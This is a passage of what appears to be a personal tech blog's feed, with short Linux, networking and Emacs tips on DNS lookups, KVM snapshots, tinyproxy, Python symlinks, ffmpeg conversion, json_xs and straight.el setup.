vg.no   text = &amp;quot;google-site-verification=uRwOU1tXpvCsRXnHyApK_yaMeXiTmni8cIW2KelXWO8&amp;quot;
vg.no   text = &amp;quot;v=spf1 include:_u.vg.no._spf.smart.ondmarc.com include:amazonses.com ~all&amp;quot;
vg.no   text = &amp;quot;YbAMQjB2yzXf6DTU9dR9LYMQNGptykV9gN251w0knS5h2Iu4Nhk9kw6s1nzmgOCFnvxo/lekGs1PSCy3Z3oXAA==&amp;quot;
vg.no   text = &amp;quot;wiz-domain-verification=52455ec02f13dfe89b5827fd5085e7ab8e918767f8461a2f5b443b5e0dd6cd56&amp;quot;
vg.no   text = &amp;quot;MS=ms58603718&amp;quot;
vg.no   text = &amp;quot;docker-verification=ab84c6ca-d2b1-4aca-a2b4-e39155b6c1bd&amp;quot;
vg.no   text = &amp;quot;miro-verification=eff9412c1aa1655d0a279f7d6704841b6a02b591&amp;quot;

Authoritative answers can be found from:
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;dig&lt;/h2&gt;
&lt;p&gt;Another great tool is &lt;code&gt;dig&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here, I want to ask &lt;a href="cloudflare.com"&gt;Cloudflare&lt;/a&gt;'s DNS (&lt;code&gt;1.1.1.1&lt;/code&gt;),
what mail server handles &lt;a href="vg.no"&gt;vg&lt;/a&gt;'s email:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ dig @1.1.1.1 vg.no MX

; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.18.18 &amp;lt;&amp;lt;&amp;gt;&amp;gt; @1.1.1.1 vg.no MX
; (1 server found)
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 24222
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;vg.no.             IN  MX

;; ANSWER SECTION:
vg.no.          300 IN  MX  5 alt2.aspmx.l.google.com.
vg.no.          300 IN  MX  10 alt3.aspmx.l.google.com.
vg.no.          300 IN  MX  10 alt4.aspmx.l.google.com.
vg.no.          300 IN  MX  1 aspmx.l.google.com.
vg.no.          300 IN  MX  5 alt1.aspmx.l.google.com.

;; Query time: 26 msec
;; SERVER: 1.1.1.1#53(1.1.1.1) (UDP)
;; WHEN: Fri Aug 18 14:38:15 CEST 2023
;; MSG SIZE  rcvd: 152
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;DNS dumpster&lt;/h2&gt;
&lt;p&gt;It's not on the command line, but &lt;a href="https://dnsdumpster.com"&gt;extremely cool&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="https://dnsdumpster.com/static/map/skybert.net.png"
  alt="dnsdumpster of skybert.net"
/&gt;&lt;/p&gt;
&lt;h2&gt;Shodan&lt;/h2&gt;
&lt;p&gt;I would normally use &lt;code&gt;curl&lt;/code&gt; for gathering web server and TLS
certificate info, but there's a website (well, probably many) that
does this for you:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.shodan.io/search?query=skybert.net"&gt;shodan.io/search?query=skybert.net&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;curl&lt;/code&gt; command I'd use is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ curl -v https://skybert.net 2&amp;gt;&amp;amp;1 | \grep -E &amp;#39;(subjectAltName|server|issuer):&amp;#39;
*  subjectAltName: host &amp;quot;skybert.net&amp;quot; matched cert&amp;#39;s &amp;quot;skybert.net&amp;quot;
*  issuer: C=US; O=Let&amp;#39;s Encrypt; CN=R3
&amp;lt; server: nginx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/><category term="network"/><category term="dns"/></entry><entry><title>KVM snapshots using virsh</title><link href="https://skybert.net/linux/kvm-snapshots-using-virsh" rel="alternate"/><published>2023-06-30T00:00:00+02:00</published><updated>2023-06-30T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-06-30:/linux/kvm-snapshots-using-virsh</id><summary type="html">&lt;h2&gt;Create snapshot of your VM&lt;/h2&gt;
&lt;p&gt;To take a complete snapshot of the VM called &lt;code&gt;ece7&lt;/code&gt;, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ virsh shutdown ece7
$ virsh snapshot-create-as --domain ece7 --name ece7-full-stack-working
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Restore your VM to a previous snapshot&lt;/h2&gt;
&lt;p&gt;To restore it, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ virsh shutdown ece7
$ virsh snapshot-revert --domain ece7
$ virsh start ece7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;List all snapshots of …&lt;/h2&gt;</summary><content type="html">&lt;h2&gt;Create snapshot of your VM&lt;/h2&gt;
&lt;p&gt;To take a complete snapshot of the VM called &lt;code&gt;ece7&lt;/code&gt;, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ virsh shutdown ece7
$ virsh snapshot-create-as --domain ece7 --name ece7-full-stack-working
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Restore your VM to a previous snapshot&lt;/h2&gt;
&lt;p&gt;To restore it, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ virsh shutdown ece7
$ virsh snapshot-revert --domain ece7
$ virsh start ece7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;List all snapshots of a given VM&lt;/h2&gt;
&lt;p&gt;To list all snapshots available for your VM, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ virsh snapshot-list --domain ece7
Name                      Creation Time               State
----------------------------------------------------------------
ece7-full-stack-working   2023-06-30 13:44:48 +0200   shutoff
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/><category term="kvm"/><category term="virtualization"/></entry><entry><title>Create an HTTP &amp; HTTPS proxy with tinyproxy</title><link href="https://skybert.net/unix/create-an-http-https-proxy-with-tinyproxy" rel="alternate"/><published>2023-06-19T00:00:00+02:00</published><updated>2023-06-19T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-06-19:/unix/create-an-http-https-proxy-with-tinyproxy</id><summary type="html">&lt;p&gt;I run a proxy inside a KVM machine that has access to the network I
need. The KVM gateway IP is &lt;code&gt;192.168.122.1&lt;/code&gt;, so inside the VM, I write
the following &lt;code&gt;~/.tinyproxy.conf&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;Port 8899&lt;/span&gt;
&lt;span class="na"&gt;Timeout 600&lt;/span&gt;
&lt;span class="na"&gt;Allow 127.0.0.1&lt;/span&gt;
&lt;span class="na"&gt;Allow 192.168.122.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I run a proxy inside a KVM machine that has access to the network I
need. The KVM gateway IP is &lt;code&gt;192.168.122.1&lt;/code&gt;, so inside the VM, I write
the following &lt;code&gt;~/.tinyproxy.conf&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;Port 8899&lt;/span&gt;
&lt;span class="na"&gt;Timeout 600&lt;/span&gt;
&lt;span class="na"&gt;Allow 127.0.0.1&lt;/span&gt;
&lt;span class="na"&gt;Allow 192.168.122.1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The proxy is available in most repos, on Debian, I wrote the following
to install it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# apt-get install tinyproxy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, I start it with (the &lt;code&gt;-d&lt;/code&gt; puts it in the foreground, in &lt;em&gt;debug&lt;/em&gt;
mode):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ tinyproxy -c .tinyproxy.conf -d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That's it. From my main machine, I can now use &lt;code&gt;proxy:8899&lt;/code&gt; as my
HTTPS proxy, e.g.:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ curl -x proxy:8899 https://some.network.com/ice.cream
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="unix"/><category term="unix"/><category term="http"/></entry><entry><title>Microsoft are still evil</title><link href="https://skybert.net/various/microsoft-are-still-evil" rel="alternate"/><published>2023-05-16T00:00:00+02:00</published><updated>2023-05-16T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-05-16:/various/microsoft-are-still-evil</id><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href="https://skybert.net/various/microsoft-hasnt-lost-its-evil-ways/"&gt;Microsoft makes switching browser scary&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theverge.com/2023/5/3/23709297/microsoft-edge-force-outlook-teams-web-links-open"&gt;Microsoft is forcing Outlook and Teams to open links in Edge, and
  IT admins are
  angry&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="various"/><category term="various"/></entry><entry><title>Why is there no python command?</title><link href="https://skybert.net/python/why-is-there-no-python-command" rel="alternate"/><published>2023-05-12T00:00:00+02:00</published><updated>2023-05-12T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-05-12:/python/why-is-there-no-python-command</id><summary type="html">&lt;h2&gt;Problem&lt;/h2&gt;
&lt;p&gt;I have a Python script with this shebang:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;#! /usr/bin/env python
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, when I run it, I get this error:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/usr/bin/env: &amp;#39;python&amp;#39;: No such file or directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;How come? This used to work!&lt;/p&gt;
&lt;h2&gt;Reason&lt;/h2&gt;
&lt;p&gt;From Debian 11 (bullseye) and its derivatives, like ubuntu 20.04 LTS …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Problem&lt;/h2&gt;
&lt;p&gt;I have a Python script with this shebang:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;#! /usr/bin/env python
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, when I run it, I get this error:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/usr/bin/env: &amp;#39;python&amp;#39;: No such file or directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;How come? This used to work!&lt;/p&gt;
&lt;h2&gt;Reason&lt;/h2&gt;
&lt;p&gt;From Debian 11 (bullseye) and its derivatives, like ubuntu 20.04 LTS,
none of the package Python scripts use &lt;code&gt;#! /usr/bin/python&lt;/code&gt;, but
either &lt;code&gt;#!  /usr/bin/python2&lt;/code&gt; or &lt;code&gt;#! /usr/bin/python3&lt;/code&gt;. Thus, neither
the &lt;code&gt;python2&lt;/code&gt; package nor the &lt;code&gt;python3&lt;/code&gt; package create such a binary
or symlink.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;You can either create the symlink yourself:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# ln -s /usr/bin/python3 /usr/bin/python
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;or install &lt;a href="https://packages.debian.org/bullseye/python-is-python3"&gt;a package that creates the symlink for
you&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# apt-get install python-is-python3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note, in Debian 11 and Ubuntu 20.04 there was also a
&lt;a href="https://packages.debian.org/bullseye/python-is-python2"&gt;python-is-python2&lt;/a&gt;,
but this will be removed in the upcoming Debian 12 (bookworm) and thus
in Ubuntu 22.04 LTS.&lt;/p&gt;
&lt;h2&gt;Closing remarks&lt;/h2&gt;
&lt;p&gt;You should really change your shebangs to use &lt;code&gt;python2&lt;/code&gt; or &lt;code&gt;python3&lt;/code&gt;
since there are significant differences between the two. And of
course, if you are &lt;em&gt;still&lt;/em&gt; using &lt;code&gt;python2&lt;/code&gt;, you should consider
migrating to &lt;code&gt;python3&lt;/code&gt;, the command &lt;code&gt;2to3&lt;/code&gt; will give you a good
starting point.&lt;/p&gt;
&lt;p&gt;Happy coding!&lt;/p&gt;</content><category term="python"/><category term="python"/><category term="debian"/><category term="ubuntu"/><category term="linux"/></entry><entry><title>persistent window splits</title><link href="https://skybert.net/emacs/persistent-window-splits" rel="alternate"/><published>2023-05-10T00:00:00+02:00</published><updated>2023-05-10T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-05-10:/emacs/persistent-window-splits</id><summary type="html">&lt;p&gt;Ever created windows splits in Emacs, say two vertical with code and
one large horizontal beneath with compilation output, and then having
it ruined when firing off a command or starting a mode?&lt;/p&gt;
&lt;p&gt;I had this for years, mitigating it with &lt;code&gt;winner-mode&lt;/code&gt; and
&lt;code&gt;winner-undo&lt;/code&gt;. It allowed me to navigate back …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ever created windows splits in Emacs, say two vertical with code and
one large horizontal beneath with compilation output, and then having
it ruined when firing off a command or starting a mode?&lt;/p&gt;
&lt;p&gt;I had this for years, mitigating it with &lt;code&gt;winner-mode&lt;/code&gt; and
&lt;code&gt;winner-undo&lt;/code&gt;. It allowed me to navigate back and forth between my
different window split setups. However, it was a bit tedious and
didn't always work (some modes grabbed my shortcut).&lt;/p&gt;
&lt;p&gt;I then started storing the window splits in Emacs registers: 1) split
the windows the way you want them 2) store it with &lt;code&gt;C-x r w RET 1&lt;/code&gt; and
then jump back to it with &lt;code&gt;C-x r j RET 1&lt;/code&gt;. The only problem was they
didn't persist between session.&lt;/p&gt;
&lt;p&gt;Finally, I read up on &lt;code&gt;workgroup2&lt;/code&gt; and have &lt;em&gt;finally&lt;/em&gt; gotten stable,
persistent window split configuration. What's more, it allows me to
store different splits and buffer contents for my different contexts,
e.g. I have:
- user-manager # 2 vertical code buffers, horizontal compilation buffer
- user-manager-wide # 4 vertical code buffers, compile, vterm
- zipline #  2 python buffers, python REPL, vterm&lt;/p&gt;
&lt;p&gt;And so on. Creating a split is done with &lt;code&gt;wg-create-workgroup RET
&amp;lt;name&amp;gt;&lt;/code&gt; and opening a split is done with &lt;code&gt;wg-open-workgroup RET
&amp;lt;name&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Highly recommended.&lt;/p&gt;</content><category term="emacs"/><category term="emacs"/></entry><entry><title>Convert mkv to webm</title><link href="https://skybert.net/unix/convert-mkv-to-webm" rel="alternate"/><published>2023-05-05T00:00:00+02:00</published><updated>2023-05-05T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-05-05:/unix/convert-mkv-to-webm</id><summary type="html">&lt;p&gt;To convert &lt;a href="https://en.wikipedia.org/wiki/Matroska"&gt;Matroska video
files&lt;/a&gt; (&lt;code&gt;.mkv&lt;/code&gt;), to &lt;a href="https://en.wikipedia.org/wiki/WebM"&gt;WebM
video files&lt;/a&gt; (&lt;code&gt;.webm&lt;/code&gt;), I've found
that this command produces good results:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ffmpeg&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;foo.mkv&lt;span class="w"&gt; &lt;/span&gt;-c:v&lt;span class="w"&gt; &lt;/span&gt;libvpx&lt;span class="w"&gt; &lt;/span&gt;-crf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-b:v&lt;span class="w"&gt; &lt;/span&gt;1M&lt;span class="w"&gt; &lt;/span&gt;-c:a&lt;span class="w"&gt; &lt;/span&gt;libvorbis&lt;span class="w"&gt; &lt;/span&gt;foo.webm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The resulting &lt;code&gt;foo.webm&lt;/code&gt; video file plays natively in Firefox and
Google Chrome, as …&lt;/p&gt;</summary><content type="html">&lt;p&gt;To convert &lt;a href="https://en.wikipedia.org/wiki/Matroska"&gt;Matroska video
files&lt;/a&gt; (&lt;code&gt;.mkv&lt;/code&gt;), to &lt;a href="https://en.wikipedia.org/wiki/WebM"&gt;WebM
video files&lt;/a&gt; (&lt;code&gt;.webm&lt;/code&gt;), I've found
that this command produces good results:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ffmpeg&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;foo.mkv&lt;span class="w"&gt; &lt;/span&gt;-c:v&lt;span class="w"&gt; &lt;/span&gt;libvpx&lt;span class="w"&gt; &lt;/span&gt;-crf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-b:v&lt;span class="w"&gt; &lt;/span&gt;1M&lt;span class="w"&gt; &lt;/span&gt;-c:a&lt;span class="w"&gt; &lt;/span&gt;libvorbis&lt;span class="w"&gt; &lt;/span&gt;foo.webm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The resulting &lt;code&gt;foo.webm&lt;/code&gt; video file plays natively in Firefox and
Google Chrome, as well as standalone video players like &lt;a href="mpv.io"&gt;mpv&lt;/a&gt;&lt;/p&gt;</content><category term="unix"/><category term="unix"/></entry><entry><title>json_xs can't locate YAML/XS.pm</title><link href="https://skybert.net/linux/json_xs-cant-locate-yamlxspm" rel="alternate"/><published>2023-04-25T00:00:00+02:00</published><updated>2023-04-25T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-04-25:/linux/json_xs-cant-locate-yamlxspm</id><summary type="html">&lt;p&gt;I have this YAML file that I want to convert to JSON:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;bar&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, &lt;code&gt;json_xs&lt;/code&gt; doesn't work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ json_xs -f yaml -t json &amp;lt; foo.yaml
Can&amp;#39;t locate YAML/XS.pm in @INC (you may need to install the YAML::XS
module) (@INC contains: /usr/local/lib64/perl5 /usr/local …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;I have this YAML file that I want to convert to JSON:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;bar&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However, &lt;code&gt;json_xs&lt;/code&gt; doesn't work:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ json_xs -f yaml -t json &amp;lt; foo.yaml
Can&amp;#39;t locate YAML/XS.pm in @INC (you may need to install the YAML::XS
module) (@INC contains: /usr/local/lib64/perl5 /usr/local/share/perl5
/usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl
/usr/lib64/perl5 /usr/share/perl5) at /usr/bin/json_xs line 187,
&amp;lt;STDIN&amp;gt; line 1.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Redhat Enterprise Linux 8&lt;/h2&gt;
&lt;p&gt;To fix this on RHEL8, you need to enable the code ready repository:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# subscription-manager repos --enable codeready-builder-for-rhel-8-x86_64-rpms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, you can install the missing Perl library:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# dnf install perl-YAML-LibYAML
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, &lt;code&gt;json_xs&lt;/code&gt; works as expected:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# json_xs -f yaml -t json &amp;lt; foo.yaml
{&amp;quot;foo&amp;quot;:&amp;quot;bar&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/><category term="redhat"/><category term="rhel"/></entry><entry><title>List IPs of the KVM VMs</title><link href="https://skybert.net/linux/list-ips-of-the-kvm-vms" rel="alternate"/><published>2023-04-11T00:00:00+02:00</published><updated>2023-04-11T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-04-11:/linux/list-ips-of-the-kvm-vms</id><summary type="html">&lt;p&gt;First, find the name(s) of the KVM network. By default this is
&lt;code&gt;default&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ virsh net-list
 Name      State    Autostart   Persistent
--------------------------------------------
 default   active   yes         yes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, list the IP addresses of the VMs using that network:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ virsh net-dhcp-leases default
 Expiry Time           MAC address         Protocol   IP address           Hostname   Client ID or DUID …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;First, find the name(s) of the KVM network. By default this is
&lt;code&gt;default&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ virsh net-list
 Name      State    Autostart   Persistent
--------------------------------------------
 default   active   yes         yes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, list the IP addresses of the VMs using that network:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ virsh net-dhcp-leases default
 Expiry Time           MAC address         Protocol   IP address           Hostname   Client ID or DUID
------------------------------------------------------------------------------------------------------------------------------------------------
 2023-04-11 11:44:02   52:54:00:5d:97:ab   ipv4       192.168.122.151/24   debbie     ff:00:5d:97:ab:00:01:00:01:29:71:6a:0e:52:54:00:65:9a:7f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note, the name listed is not the VM name, but the hostname the OS
inside the VM reports.&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="kvm"/><category term="virtualization"/></entry><entry><title>Exploring copilot for Emacs</title><link href="https://skybert.net/emacs/exploring-copilot-for-emacs" rel="alternate"/><published>2023-03-31T00:00:00+02:00</published><updated>2023-03-31T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2023-03-31:/emacs/exploring-copilot-for-emacs</id><summary type="html">&lt;p&gt;First off, I hadn't set up straight, so I did that:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defvar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bootstrap-version&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;bootstrap-file&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;expand-file-name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;straight/repos/straight.el/bootstrap.el&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;user-emacs-directory&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;bootstrap-version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;unless&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;file-exists-p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bootstrap-file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;with-current-buffer&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;url-retrieve-synchronously&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://raw.githubusercontent.com/radian-software/straight.el/develop/install.el&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;silent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;inhibit-cookies&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;goto-char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;point-max&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;eval-print-last-sexp&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bootstrap-file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;#39;nomessage&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then …&lt;/p&gt;</summary><content type="html">&lt;p&gt;First off, I hadn't set up straight, so I did that:&lt;/p&gt;
